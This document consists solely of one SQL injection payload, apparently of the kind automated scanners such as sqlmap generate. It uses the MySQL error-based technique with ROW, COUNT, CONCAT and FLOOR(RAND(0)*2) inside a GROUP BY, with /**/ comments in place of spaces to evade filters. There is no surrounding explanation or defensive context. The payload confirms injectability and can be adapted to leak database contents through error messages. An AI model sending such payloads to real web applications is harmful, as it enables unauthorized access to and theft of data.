1′ AND AND/**/ROW(3550,10789)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(3550=3550,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/9294/**/UNION/**/SELECT/**/6536/**/UNION/**/SELECT/**/8756/**/UNION/**/SELECT/**/5621)a/**/GROUP/**/BY/**/x)– – 1